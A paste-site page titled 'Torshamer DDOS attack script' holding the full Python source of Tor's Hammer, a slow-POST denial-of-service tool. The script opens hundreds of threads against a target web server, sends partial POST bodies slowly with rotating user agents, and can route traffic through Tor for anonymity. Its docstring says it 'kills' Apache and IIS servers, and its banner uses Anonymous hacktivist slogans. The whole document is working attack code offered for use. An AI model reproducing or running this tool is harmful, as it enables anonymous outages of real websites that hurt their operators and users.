Torshamer DDOS attack script


SUBMITTED BY: A7laco

DATE: Jan. 10, 2016, 8:26 a.m.

FORMAT: Text only

SIZE: 7.4 kB

HITS: 350

  1. #!/usr/bin/python
  2. """
  3. Tor's Hammer - Slow POST Denial Of Service Testing Tool
  4. Version 1.0 Beta
  5. Project home page: https://sourceforge.net/projects/torshammer
  6. Tor's Hammer is a slow post dos testing tool written in Python.
  7. It can also be run through the Tor network to be anonymized.
  8. If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050.
  9. Kills most unprotected web servers running Apache and IIS via a single instance.
  10. Kills Apache 1.X and older IIS with ~128 threads.
  11. Kills newer IIS and Apache 2.X with ~256 threads.
  12. """
  13. import os
  14. import re
  15. import time
  16. import sys
  17. import random
  18. import math
  19. import getopt
  20. import socks
  21. import string
  22. import terminal
  23. from threading import Thread
  24. global stop_now
  25. global term
  26. stop_now = False
  27. term = terminal.TerminalController()
  28. useragents = [
  29. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  30. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  31. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  32. "Opera/9.20 (Windows NT 6.0; U; en)",
  33. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  34. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  35. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  36. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  37. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
  38. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  39. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  40. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  41. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  42. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  43. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  44. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  45. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  46. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  47. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  48. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
  49. ]
  50. class httpPost(Thread):
  51. def __init__(self, host, port, tor):
  52. Thread.__init__(self)
  53. self.host = host
  54. self.port = port
  55. self.socks = socks.socksocket()
  56. self.tor = tor
  57. self.running = True
  58. def _send_http_post(self, pause=10):
  59. global stop_now
  60. self.socks.send("POST / HTTP/1.1\r\n"
  61. "Host: %s\r\n"
  62. "User-Agent: %s\r\n"
  63. "Connection: keep-alive\r\n"
  64. "Keep-Alive: 900\r\n"
  65. "Content-Length: 10000\r\n"
  66. "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
  67. (self.host, random.choice(useragents)))
  68. for i in range(0, 9999):
  69. if stop_now:
  70. self.running = False
  71. break
  72. p = random.choice(string.letters+string.digits)
  73. print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
  74. self.socks.send(p)
  75. time.sleep(random.uniform(0.1, 3))
  76. self.socks.close()
  77. def run(self):
  78. while self.running:
  79. while self.running:
  80. try:
  81. if self.tor:
  82. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  83. self.socks.connect((self.host, self.port))
  84. print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  85. break
  86. except Exception, e:
  87. if e.args[0] == 106 or e.args[0] == 60:
  88. break
  89. print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  90. time.sleep(1)
  91. continue
  92. while self.running:
  93. try:
  94. self._send_http_post()
  95. except Exception, e:
  96. if e.args[0] == 32 or e.args[0] == 104:
  97. print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  98. self.socks = socks.socksocket()
  99. break
  100. time.sleep(0.1)
  101. pass
  102. def usage():
  103. print "./torshammer.py -t <target> [-r <threads> -p <port> -T -h]"
  104. print " -t|--target <Hostname|IP>"
  105. print " -r|--threads <Number of threads> Defaults to 256"
  106. print " -p|--port <Web Server Port> Defaults to 80"
  107. print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
  108. print " -h|--help Shows this help\n"
  109. print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"
  110. def main(argv):
  111. try:
  112. opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  113. except getopt.GetoptError:
  114. usage()
  115. sys.exit(-1)
  116. global stop_now
  117. target = ''
  118. threads = 256
  119. tor = False
  120. port = 80
  121. for o, a in opts:
  122. if o in ("-h", "--help"):
  123. usage()
  124. sys.exit(0)
  125. if o in ("-T", "--tor"):
  126. tor = True
  127. elif o in ("-t", "--target"):
  128. target = a
  129. elif o in ("-r", "--threads"):
  130. threads = int(a)
  131. elif o in ("-p", "--port"):
  132. port = int(a)
  133. if target == '' or int(threads) <= 0:
  134. usage()
  135. sys.exit(-1)
  136. print term.DOWN + term.RED + "/*" + term.NORMAL
  137. print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  138. print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
  139. print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
  140. print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  141. rthreads = []
  142. for i in range(threads):
  143. t = httpPost(target, port, tor)
  144. rthreads.append(t)
  145. t.start()
  146. while len(rthreads) > 0:
  147. try:
  148. rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  149. except KeyboardInterrupt:
  150. print "\nShutting down threads...\n"
  151. for t in rthreads:
  152. stop_now = True
  153. t.running = False
  154. if __name__ == "__main__":
  155. print "\n/*"
  156. print " *"+term.RED + " Tor's Hammer "+term.NORMAL
  157. print " * Slow POST DoS Testing Tool"
  158. print " * Version 1.0 Beta"
  159. print " * Anon-ymized via Tor"
  160. print " * We are Anonymous."
  161. print " * We are Legion."
  162. print " * We do not forgive."
  163. print " * We do not forget."
  164. print " * Expect us!"
  165. print " */\n"
  166. main(sys.argv[1:])

comments powered by Disqus